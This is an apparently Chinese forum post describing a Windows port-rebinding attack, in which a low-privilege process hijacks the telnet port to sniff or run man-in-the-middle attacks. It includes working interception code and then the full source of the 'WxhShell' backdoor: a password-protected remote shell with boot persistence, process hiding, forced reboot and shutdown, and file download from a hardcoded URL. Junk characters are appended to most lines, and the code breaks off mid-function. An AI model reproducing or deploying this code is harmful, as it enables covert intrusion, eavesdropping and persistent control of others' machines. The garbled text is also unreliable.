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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Nl)jQ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2Xs< 1rF  
0bL=l0N$W  
  saddr.sin_family = AF_INET; <=2*UD |  
 k*6eZ7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N$\5%  
Kf<_A{s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >@e%,z  
;|1P1H-W~M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r_Yl/WW  
`a-T95IFy  
  这意味着什么?意味着可以进行如下的攻击: 'n.9qxY;  
z :jF) N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WY~[tBi\  
1L qJ@v0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rL/7wa  
He;%6OG{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]H'82a  
ddhTr i'f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3evfX[V#  
\gv x)S11  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v") W@haU  
0=zS&xM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gCI'YEx  
&: 8&;vk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P>Rqy  
M +q 7h+HP  
  #include 0nnq/u^  
  #include (Sp~+#XnF  
  #include LbI])M  
  #include    !@1!ld  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Mo|5)8_  
  int main() *n ?:)(  
  { e1}0f8%  
  WORD wVersionRequested; iL' ]du<wk  
  DWORD ret; I _G;;GF  
  WSADATA wsaData; dg8\(G  
  BOOL val; > o`RPWs  
  SOCKADDR_IN saddr; <q=B(J'  
  SOCKADDR_IN scaddr; r(CL=[  
  int err; SntYi0,`  
  SOCKET s; *heQ@ww  
  SOCKET sc; O~]G(TMs8W  
  int caddsize; &}=,8Gt1G  
  HANDLE mt; {moNtzE;  
  DWORD tid;   hrt-<7U  
  wVersionRequested = MAKEWORD( 2, 2 ); u#|Jl|aT  
  err = WSAStartup( wVersionRequested, &wsaData ); _Hj,;Z  
  if ( err != 0 ) { ~,7R*71  
  printf("error!WSAStartup failed!\n"); k5 l~  
  return -1; hKeh9 Bt  
  } YWF<2l.  
  saddr.sin_family = AF_INET; v]S8!wU  
   bZfJG^3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `sC8ro@Fm  
lB@K;E@r8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =R`2m  
  saddr.sin_port = htons(23); E zUjt)wF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?V&a |:N9  
  { nEr, jd~f  
  printf("error!socket failed!\n"); K6hN N$F!  
  return -1; Rx2|VD  
  } PyE<`E  
  val = TRUE; #+nv,?@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dBn.DU*B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `d#_66TLr  
  { +=$G6uR$  
  printf("error!setsockopt failed!\n"); j'n= Xh  
  return -1; n8,/olqwW  
  } QV1%Zou  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [}3Y1t{G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1Xc%%j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ghiElsBU  
:gv#_[k  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8G<.5!f7`N  
  { nJC}wh2d#  
  ret=GetLastError(); .?NAq[H%  
  printf("error!bind failed!\n"); vkmR cX:/  
  return -1; -&tiM v  
  } m!(K  
  listen(s,2); +R$KEGu~0Y  
  while(1) ,/9|j*9H  
  { Jq)k?WS  
  caddsize = sizeof(scaddr); x|5/#H  
  //接受连接请求 >?<d}9X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Xw5" JE!.  
  if(sc!=INVALID_SOCKET) z"`?<A&u  
  { yRDLg c  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); VvKH]>*  
  if(mt==NULL) `#U6`[[  
  { |JQ05nb  
  printf("Thread Creat Failed!\n"); cKAl 0_[f"  
  break; [*v\X %+  
  } x #g,l2_!  
  } >O=V1  
  CloseHandle(mt); 2[eY q1f!  
  } :{2$X|f 3  
  closesocket(s); V" 73^  
  WSACleanup(); *^ BE1-  
  return 0; ~qH@Kz\%  
  }   ^\%%9jY  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^bGi_YC  
  { Wd# 6Y}:  
  SOCKET ss = (SOCKET)lpParam; ]B||S7idq  
  SOCKET sc; 'Ud5;?{  
  unsigned char buf[4096]; zFIKB9NUn  
  SOCKADDR_IN saddr; $4pW#4/4  
  long num; 8Qh/=Ir  
  DWORD val; _i#Z'4?2E  
  DWORD ret; GS%Dn^l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I'wAgf6W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   eF@E|kK  
  saddr.sin_family = AF_INET; lhU#/}Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &D#v0!e~x  
  saddr.sin_port = htons(23); `x{gF8GV  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KNhH4K2iP8  
  { DGnswN%n1  
  printf("error!socket failed!\n"); ptcU_*Gd  
  return -1; {[+gM?  
  } cAS5&T<  
  val = 100; HS7!O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8:bNFgJD  
  { +FR"Gt$g  
  ret = GetLastError(); K km7L-  
  return -1; `shB[Lt  
  } rYJvI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TXM.,5Dx\  
  { C Qebb:y  
  ret = GetLastError(); |%}?*|-  
  return -1; "yumc5kt  
  } ;DTNw=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [B[J%?NS  
  { PZs  
  printf("error!socket connect failed!\n"); Z:Wix|,ONS  
  closesocket(sc); EMo6$(  
  closesocket(ss); IP3-lru  
  return -1; >*MB_m2|  
  } 6dh PqL  
  while(1) Velmq'n  
  { foeVjL:T  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1 /`>Eh  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Dcf`+?3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [Zf<r1m  
  num = recv(ss,buf,4096,0); cD\Qt9EI  
  if(num>0) V-31x)  
  send(sc,buf,num,0); <|4j<U  
  else if(num==0) {BF\G%v;+  
  break; gM8eO-d  
  num = recv(sc,buf,4096,0); c8u0\X,  
  if(num>0) >,v~,<3 i  
  send(ss,buf,num,0); 1NTe@r!y  
  else if(num==0) U7W ct %  
  break; +2?[=g4;}  
  } >Et?7@   
  closesocket(ss); ! 9e>J  
  closesocket(sc); {2nXItso  
  return 0 ; :A$6Y*s\  
  } [q z6_WOo  
aj\'qRrU$  
` C1LR,J  
========================================================== R8E<;^?j  
v#6.VUAw  
下边附上一个代码,,WXhSHELL M3''xrpC  
|lv4X }H  
========================================================== iw{n|&Y#`  
cA*%K[9  
#include "stdafx.h" /c7j@=0  
E*%{Nn  
#include <stdio.h> OjHBzrK  
#include <string.h> !\m.&lk'^  
#include <windows.h> d09GD[5  
#include <winsock2.h> dx~Wm1  
#include <winsvc.h> Kk,->q<1  
#include <urlmon.h> .q=X58tHu  
m H?hzxa+  
#pragma comment (lib, "Ws2_32.lib") xU&rUk/L  
#pragma comment (lib, "urlmon.lib") } 8svd#S+  
17GyE=Uu  
#define MAX_USER   100 // 最大客户端连接数 Xk3Ufz]QN  
#define BUF_SOCK   200 // sock buffer ,uw &)A  
#define KEY_BUFF   255 // 输入 buffer ka hv1s-  
yDKX,  
#define REBOOT     0   // 重启 L=$P  
#define SHUTDOWN   1   // 关机 fkYQ3d,`  
L \$zr,=C  
#define DEF_PORT   5000 // 监听端口 |!|`Je3 K  
0K!9MDT}*  
#define REG_LEN     16   // 注册表键长度 g/E;OcFaO  
#define SVC_LEN     80   // NT服务名长度 >eXNw}_j  
|LQmdgVr$  
// 从dll定义API 9. R _=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g (~&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D"hiEz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IoX(Pa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L/ZZe5I  
qHj4`&  
// wxhshell配置信息 U t%ie=c  
struct WSCFG { WRgz]=W3w  
  int ws_port;         // 监听端口 ^\!^#rO  
  char ws_passstr[REG_LEN]; // 口令 RHxd6Gs"  
  int ws_autoins;       // 安装标记, 1=yes 0=no dU\fC{1Z  
  char ws_regname[REG_LEN]; // 注册表键名 T|m+ULp~  
  char ws_svcname[REG_LEN]; // 服务名 =:b/z1-v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #: F)A_Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3lJK[V{'#'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1 ID! rxE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `8Om*{xg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~$cw]R58,9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j}|6k6t  
<D=%5 5  
}; z/TRqD  
<I>q1m?KN  
// default Wxhshell configuration :sn}D~  
struct WSCFG wscfg={DEF_PORT, ugCc&~`  
    "xuhuanlingzhe", ovHbs^H%  
    1, .B)v " Sw#  
    "Wxhshell", ":Q70*xSm  
    "Wxhshell", us]ah~U6A  
            "WxhShell Service", s"'1|^od  
    "Wrsky Windows CmdShell Service", 7yc:=^ )  
    "Please Input Your Password: ", ?]})Xf.A  
  1, [AU1JO`\"  
  "http://www.wrsky.com/wxhshell.exe", K+7xjFoDIR  
  "Wxhshell.exe" [;2v[&Po  
    }; u66w('2  
xW09k6   
// 消息定义模块 2|T@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mMMu'N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 464Z0C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n_!&Wr^CX  
char *msg_ws_ext="\n\rExit."; UKzmRa,s  
char *msg_ws_end="\n\rQuit."; u&<LW4  
char *msg_ws_boot="\n\rReboot..."; ^cY5!W.q8  
char *msg_ws_poff="\n\rShutdown..."; DJ\lvT#j  
char *msg_ws_down="\n\rSave to "; ~(^[TuJC  
HiWZ?G  
char *msg_ws_err="\n\rErr!"; :\>UZ9h #  
char *msg_ws_ok="\n\rOK!"; o;O_N^_W  
B<o i,S  
char ExeFile[MAX_PATH]; Ywni2-)<  
int nUser = 0; 3w-0v"j U  
HANDLE handles[MAX_USER]; VTF),e!  
int OsIsNt; )j$Bo{  
-H]svOX  
SERVICE_STATUS       serviceStatus; ^yX W.s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :!|xg! |y  
( R0   
// 函数声明 H'Po  
int Install(void); x&f?c=\F  
int Uninstall(void); O`2%@%?I  
int DownloadFile(char *sURL, SOCKET wsh); 7#RW4ZM  
int Boot(int flag); Ghj6&K%b0  
void HideProc(void); 6q5V*sJ&  
int GetOsVer(void); AXJC&O}`  
int Wxhshell(SOCKET wsl); \UiuJ+  
void TalkWithClient(void *cs); a{HvrWs?Q  
int CmdShell(SOCKET sock); u_uC78`p  
int StartFromService(void); _[<I&^%  
int StartWxhshell(LPSTR lpCmdLine); }3+(A`9h f  
I[R?j?$}>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E{FNsa  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'Hq}h)`  
gK PV*  
// 数据结构和表定义 4b (iGLrt0  
SERVICE_TABLE_ENTRY DispatchTable[] = Um|:AT}`^  
{ { u;ntDr  
{wscfg.ws_svcname, NTServiceMain}, 3(CUC  
{NULL, NULL} V9MA)If>  
}; <uAqb Wu  
f5O*Njl  
// 自我安装 0!^{V:DtQ  
int Install(void) 20J:_+=]  
{ "\B Li C  
  char svExeFile[MAX_PATH]; 4iKT  
  HKEY key; co;2s-X  
  strcpy(svExeFile,ExeFile); \=QG6&_  
SY)o<MD  
// 如果是win9x系统,修改注册表设为自启动 Qdtfi1_Y1  
if(!OsIsNt) { ";GLX%C!{@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9eV@v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =7jkW (Q  
  RegCloseKey(key); oc15!M3$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D3jP hPy.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UH)A n:9  
  RegCloseKey(key); Z(V 4"x7F  
  return 0; EswM#D 9(4  
    } %7{6>6%  
  } ;A|6&~E0G  
} +x WT)h/  
else { (;s \Ip0  
r[hfN2,#  
// 如果是NT以上系统,安装为系统服务 d 29]R.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }e82e  
if (schSCManager!=0) K r9 @  
{ ;z&p(e  
  SC_HANDLE schService = CreateService 6#.R'O  
  ( l lQ<x  
  schSCManager, jx-W$@  
  wscfg.ws_svcname, K%Rx5 S  
  wscfg.ws_svcdisp, ' rXkTm1{  
  SERVICE_ALL_ACCESS, 0z,c6MjM+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $bN%x/  
  SERVICE_AUTO_START, /  ]I]  
  SERVICE_ERROR_NORMAL, \ii^F?+b  
  svExeFile, x*_c'\F|  
  NULL, D L$P  
  NULL, ."MBKyg6  
  NULL, :CV&WP  
  NULL, u|Db%)[  
  NULL >0f5Mjug  
  ); n0EKNMO  
  if (schService!=0) VD1*br^,  
  { KC  
  CloseServiceHandle(schService); ^^v\ T  
  CloseServiceHandle(schSCManager); "F0,S~tZZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "--rz;+K  
  strcat(svExeFile,wscfg.ws_svcname); Ar>-xCT D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6 Iup4sP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d,$[633It}  
  RegCloseKey(key);  vH` u  
  return 0; 'a4xi0**I  
    } @O4m-Oosi  
  } X3'z'5  
  CloseServiceHandle(schSCManager); R(Z2DEt</  
} 398%16}  
} =m:0#&t,*  
x; :[0(st}  
return 1; Ii;~ xc  
} ]T+{]t  
; zs4>>^>  
// 自我卸载 u dH7Q&"  
int Uninstall(void) Vj`9j. 5  
{ lS}5bcjR=k  
  HKEY key; UP#]n 69y  
{N>VK*  
if(!OsIsNt) { {X8F4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PF4Cs3m/  
  RegDeleteValue(key,wscfg.ws_regname); "&7v.-Y k(  
  RegCloseKey(key); pnVtjWrbG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YsLEbue   
  RegDeleteValue(key,wscfg.ws_regname); #K  ]k  
  RegCloseKey(key); / EWF0XV!  
  return 0; 3dC8MKPq0  
  }  M)Y`u  
} Z!tt(y\  
} rjfQ\W;}U  
else {  x@Q}sW92  
qc@CV:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sgFpZk  
if (schSCManager!=0) E@t^IGD r  
{ ij%\ld9kd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MB:E/  
  if (schService!=0) M]eH JZ~v  
  { *p+%&z_<  
  if(DeleteService(schService)!=0) { MX  qH  
  CloseServiceHandle(schService); :fo%)_Jc!  
  CloseServiceHandle(schSCManager); +xB !T1p D  
  return 0; e>Is$+[`7  
  } }9{6{TD  
  CloseServiceHandle(schService); ,sXa{U  
  } <+C]^*j  
  CloseServiceHandle(schSCManager); HlLF<k~}  
} NNSn]LP  
} o9>r -  
T*O!r`.Ak  
return 1; / [:@j+n\  
} 7@MVInV9  
oO!@s`  
// 从指定url下载文件 YP+0 uZ[g  
int DownloadFile(char *sURL, SOCKET wsh) vlx wt~  
{ O Y/QA  
  HRESULT hr; ss |<\DE+  
char seps[]= "/"; omY%sQ{)  
char *token; <(;"L<?D<C  
char *file; s +^YGB  
char myURL[MAX_PATH]; n omtP }  
char myFILE[MAX_PATH]; 7G!SlC X}W  
$d4eGL2S  
strcpy(myURL,sURL); ^[lg1uMW  
  token=strtok(myURL,seps); _q M'm^z5  
  while(token!=NULL) N%n#mV;  
  { *p p1U>,  
    file=token; eQJLyeR+  
  token=strtok(NULL,seps); R7( + ^%  
  } lB.P   
V_(lZDjh*  
GetCurrentDirectory(MAX_PATH,myFILE); r B)m{)  
strcat(myFILE, "\\"); 'GS1"rkW<5  
strcat(myFILE, file); A\k@9w\Ll;  
  send(wsh,myFILE,strlen(myFILE),0); % ;09J  
send(wsh,"...",3,0); 8kX3.X`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Hk(w\   
  if(hr==S_OK) :>;-uve8'  
return 0; ,r+=>vre  
else kjJ\7x6M  
return 1; rN8 ZQiJC  
'9]%#^[Q  
} wlmi&kq  
4f'WF5S/}8  
// 系统电源模块 :/K 'P`JaL  
int Boot(int flag) Ds$FO}KD{  
{ }|&M@Up  
  HANDLE hToken; Y?R;Y:u3Z  
  TOKEN_PRIVILEGES tkp; p;U[cGHC  
CSR 6  
  if(OsIsNt) { /%=p-By<V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y)?4OB=n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0q>f x  
    tkp.PrivilegeCount = 1; ;Hv#SRSz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /<Zy-+3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?7Y X @x  
if(flag==REBOOT) { !634 8nU:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v93+<@Z  
  return 0; R1\cAP^ 0  
} Y:ZI9JK?  
else { X_ !Sm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;xXHSxa:=W  
  return 0; b8feo'4Z   
} #AFr@n  
  } G]=U=9ZI  
  else { ]nEN3RJ  
if(flag==REBOOT) { l92#F*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'w^1re= R  
  return 0; {M$mrmG  
} !f V.#9AB#  
else { 'h([Y8p{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f @Hp,-  
  return 0; RHz'Dz>0  
} VsNqYFHes&  
} !D7 [R'RgY  
e(6g|h  
return 1; '[{M"S  
} 4ehajK  
&:nWZ!D  
// win9x进程隐藏模块 mAX]m1s  
void HideProc(void) )U`H7\*)  
{ kS[k*bN0  
pzCD' !*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uZW ?0W  
  if ( hKernel != NULL ) U]@t\T3W  
  { |bVNlL"xN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nZ$,Bjb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iEsI  
    FreeLibrary(hKernel); 8n,i5>!d  
  } Z"mpE+U*  
h,\^Sb5AP  
return; pIqPIuy  
} 1e _V@Vy  
+d2+w1o^V  
// 获取操作系统版本 3Yp_k  
int GetOsVer(void) ouPwhB,bg  
{ ~i=/@;wRp  
  OSVERSIONINFO winfo; Q{0-pHr}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZL+{?1&-  
  GetVersionEx(&winfo); Wu2#r\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T=A7f6`  
  return 1; LrsP4G  
  else 7?]gUrE  
  return 0; jcYI"f"~  
} ;_F iiBk7(  
r%&hiobMYs  
// 客户端句柄模块 C;OU2,c,T  
int Wxhshell(SOCKET wsl) tv,^ Q}  
{ YL;ZZ2A  
  SOCKET wsh; @lc1Ipfk"  
  struct sockaddr_in client; Km 'd=B>Jy  
  DWORD myID; VjMd&>G  
fFqK.^Tn  
  while(nUser<MAX_USER) .]k(7F!W  
{ 3 B KW  
  int nSize=sizeof(client); Ad+-/hxc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bsR^H5O@  
  if(wsh==INVALID_SOCKET) return 1; VVYQIR]!yk  
@433?g`2b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @j9yc  
if(handles[nUser]==0) #OJsu  
  closesocket(wsh); SdYES5aES  
else :{E3H3  
  nUser++; Fu^^Jex  
  } aEy_H-6f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TEE$1RxV(  
_U.8\J2  
  return 0; "Y7RvL!U  
} oYup*@t  
%_@8f|# ,M  
// 关闭 socket 4_F<jx,G  
void CloseIt(SOCKET wsh) bqS*WgMY-  
{ /:z}WAW  
closesocket(wsh); 7 G~MqnO|  
nUser--;  h%E25in  
ExitThread(0); ' f}^/`J  
} yV$p(+KkS  
qusgX;)  
// 客户端请求句柄 BaR9X ?~O$  
void TalkWithClient(void *cs) ,Uc\ Ajx  
{ Q5Y4@  
k#5S'sCF<  
  SOCKET wsh=(SOCKET)cs; Rdwr?:y(]  
  char pwd[SVC_LEN]; &rq7;X  
  char cmd[KEY_BUFF]; r&o%n5B  
char chr[1]; OJbY\U  
int i,j; ;k (}~_  
t1n'Ecm(  
  while (nUser < MAX_USER) { $B2* x$  
GNZQj8  
if(wscfg.ws_passstr) { shYcfLJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N{q5E,}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '"GdO;}&  
  //ZeroMemory(pwd,KEY_BUFF); 6:330"9  
      i=0; 0 -=onX  
  while(i<SVC_LEN) { ZZ]/9oiF%  
fx99@%Ii  
  // 设置超时 S]K^wj[  
  fd_set FdRead; ]m=* =LLC  
  struct timeval TimeOut; dn:g_!]p  
  FD_ZERO(&FdRead); @ns2$(wkm@  
  FD_SET(wsh,&FdRead); r\'3q '7p  
  TimeOut.tv_sec=8; nUs)  
  TimeOut.tv_usec=0; QI0ARdS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8p-5.GU)<e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R+]Fh4t  
P-7!\[];te  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fR_)e:  
  pwd=chr[0]; ~ W52Mbf  
  if(chr[0]==0xd || chr[0]==0xa) { 0aQNdi)b  
  pwd=0; a_x$I? ,  
  break; AWh{dM  
  } m&Ms[X  
  i++; xZGR<+t  
    } 6X7r=w  
3P^eD:) w  
  // 如果是非法用户,关闭 socket `i f*   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D7sw;{ns  
} I@pnZ-5  
#U"\v7C{n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hu1w/PLq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qAivsYN*  
.NQoqXR  
while(1) { v;JY;Uh|  
m-, '  
  ZeroMemory(cmd,KEY_BUFF); tE(x8>5A:  
E 7;KG^  
      // 自动支持客户端 telnet标准   0b?9LFd  
  j=0; 31w?bx !Pp  
  while(j<KEY_BUFF) { yc_(L-'n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dQ/Xs.8  
  cmd[j]=chr[0]; K4,VSy1byI  
  if(chr[0]==0xa || chr[0]==0xd) { q/m}+v]  
  cmd[j]=0; z*zLK[t+  
  break; u'yePJTE  
  } [9[tn -  
  j++; v:JFUn}  
    } \@MGO aR]  
~AjbF(Ad  
  // 下载文件 $`{}4,5M  
  if(strstr(cmd,"http://")) { G U0zlG] C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3|P P+<o  
  if(DownloadFile(cmd,wsh)) rH8?GR0<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )K8JDP  
  else ir \d8.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0EPF; Xx  
  } \n`UkxZn+  
  else { gRSM~<  
[MFV:Z  
    switch(cmd[0]) { P@k ;Lg"  
  *Ty>-aS1  
  // 帮助 Vxo3RwmR  
  case '?': { */O6cF7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7QQ3IepP  
    break; bnB}VRal  
  } *M"lUw#(f  
  // 安装 r>$jMo.S"  
  case 'i': { fCx~K'UWn  
    if(Install()) FRs5 Pb1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d<`Z{"g NS  
    else {3_M&$jN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @zsr.d6Q  
    break; #/\FB'zC  
    } x*Z"~'DI  
  // 卸载 4&$hBn=!  
  case 'r': { >]ZojdOl)  
    if(Uninstall()) ^~=o?VtBg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `.L8<-]W  
    else 4)v\Dc/9i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); < g6 [mS  
    break; KXicy_@DC`  
    } B<8Z?:3YS  
  // 显示 wxhshell 所在路径 [#lPT'l  
  case 'p': { Qnr' KbK  
    char svExeFile[MAX_PATH]; 8Vl!&j0s^  
    strcpy(svExeFile,"\n\r"); j><.tA~i  
      strcat(svExeFile,ExeFile); li/IKS)e$  
        send(wsh,svExeFile,strlen(svExeFile),0); _wZ(%(^I  
    break; /x0zZ+}V  
    } M~ynJ@q  
  // 重启 z4UeUVfZ}  
  case 'b': { Pg*ZQE[ME8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AD*+?%hj  
    if(Boot(REBOOT)) s x`C<c~u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WXO@oZ!  
    else { zcIZJVYA  
    closesocket(wsh); r4!zA-{  
    ExitThread(0); ,h8)5Mj/J  
    } o#%2N+w  
    break; 2MtaOG2l&q  
    } ~[k 2(  
  // 关机 sI9~TZ :  
  case 'd': { r IS \#j  
